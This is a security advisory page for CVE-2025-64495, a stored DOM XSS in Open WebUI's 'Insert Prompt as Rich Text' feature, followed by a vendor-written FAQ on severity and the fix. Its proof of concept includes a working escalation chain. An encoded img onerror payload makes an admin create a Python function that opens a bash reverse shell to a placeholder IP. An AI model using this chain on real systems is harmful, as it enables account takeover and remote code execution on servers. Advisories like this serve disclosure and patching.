CVE-2025-64495

The functionality that inserts custom prompts into the chat window is vulnerable to DOM XSS when 'Insert Prompt as Rich Text' is enabled, since the prompt body is assigned to the DOM sink .innerHtml without sanitisation. Any user with permissions to create prompts can abuse this to plant a payload that could be triggered by other users if they run the corresponding / command to insert the prompt.

Details

The affected line is https://github.com/open-webui/open-webui/blob/7a83e7dfa367d19f762ec17cac5e4a94ea2bd97d/src/lib/components/common/RichTextInput.svelte#L348

	export const replaceCommandWithText = async (text) => {
		const { state, dispatch } = editor.view;
		const { selection } = state;
		const pos = selection.from;

		// Get the plain text of this document
		// const docText = state.doc.textBetween(0, state.doc.content.size, '\n', '\n');

		// Find the word boundaries at cursor
		const { start, end } = getWordBoundsAtPos(state.doc, pos);

		let tr = state.tr;

		if (insertPromptAsRichText) {
			const htmlContent = marked
				.parse(text, {
					breaks: true,
					gfm: true
				})
				.trim();

			// Create a temporary div to parse HTML
			const tempDiv = document.createElement('div');
			tempDiv.innerHTML = htmlContent;                                          // <---- vulnerable

User controlled HTML from the prompt body is assigned to tempDiv.innerHTML without (meaningful) sanitisation. marked.parse introduces some character limitations but does not sanitise the content, as stated in their README.

PoC

Create a custom prompt as follows:

Via settings, ensure 'Insert Prompt as Rich Text' is enabled:

Run the command /poc via a chat window.

Observe the alert is triggered.

RCE

Since admins can naturally run arbitrary Python code on the server via the 'Functions' feature, this XSS could be used to force any admin that triggers it to run one such of these function with Python code of the attackers choosing.

This can be accomplished by making them run the following fetch request:

fetch("https://<HOST>/api/v1/functions/create", {
  method: "POST",
  credentials: "include",
  headers: {
    "Content-Type": "application/json",
    "Accept": "application/json"
  },
  body: JSON.stringify({
    id: "pentest_cmd_test",
    name: "pentest cmd test",
    meta: { description: "pentest cmd test" },
    content: "import os;os.system('echo RCE')"
  })
})

This cannot be done directly because the marked.parse call the HTML is passed through will neutralise payloads containing quotes

To get around this strings must be manually constructed from their decimal values using String.fromCodePoint. The following Python script automates generating a viable payload from given JavaScript:

payload2 = """
fetch("https://<HOST>/api/v1/functions/create", {
  method: "POST",
  credentials: "include",
  headers: {
    "Content-Type": "application/json",
    "Accept": "application/json"
  },
  body: JSON.stringify({
    id: "pentest_cmd_test",
    name: "pentest cmd test",
    meta: { description: "pentest cmd test" },
    content: "import os;os.system('bash -c \\\\'/bin/bash -i >& /dev/tcp/x.x.x.x/443 0>&1\\\\'')"
  })
})
""".lstrip().rstrip()

out = ""

for c in payload2:
    out += f"String.fromCodePoint({ord(c)})+"

print(f"<img src=x onerror=eval({out[:-1]})>")

An admin that triggers the corresponding payload via a prompt command will trigger a Python function to run that runs a reverse shell payload, giving command line access on the server to the attacker.

Caveats

Low privilege users cannot create prompts by default, the USER_PERMISSIONS_WORKSPACE_PROMPTS_ACCESS permission is needed, which may be given out via e.g. a custom group. see: https://docs.openwebui.com/features/workspace/prompts/#access-control-and-permissions

A victim user running the command to trigger the prompt needs to have the 'Insert Prompt as Rich Text' setting enabled via preferences for the vulnerability to trigger. The setting is off by default. Users with this setting disabled are unaffected.

Any user running the malicious prompt could have their account compromised via malicious JavaScript that reads their session token from localstorage and exfiltrates it to an attacker controlled server.

Admin users running the malicious prompt risk exposing the backend server to remote code execution (RCE) since malicious JavaScript running via the vulnerability can be used to send requests as the admin user that run malicious Python functions, that may run operating system commands.

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2025-64495 has a CVSS score of 8.7 (High). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.6.35); upgrading removes the vulnerable code path.

Kodem intelligence

Sanitise the user controlled HTML with DOMPurify before assigning it to .innerHtml

1. What is CVE-2025-64495? CVE-2025-64495 is a high-severity cross-site scripting (XSS) vulnerability in open-webui (npm), affecting versions <= 0.6.34. It is fixed in 0.6.35. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2025-64495? CVE-2025-64495 has a CVSS score of 8.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of open-webui are affected by CVE-2025-64495? open-webui (npm) versions <= 0.6.34 is affected.
4. Is there a fix for CVE-2025-64495? Yes. CVE-2025-64495 is fixed in 0.6.35. Upgrade to this version or later.
5. Is CVE-2025-64495 exploitable, and should I be worried? Whether CVE-2025-64495 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-64495 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-64495?
   • Upgrade open-webui to 0.6.35 or later
   • Upgrade open-webui to 0.6.35 or later

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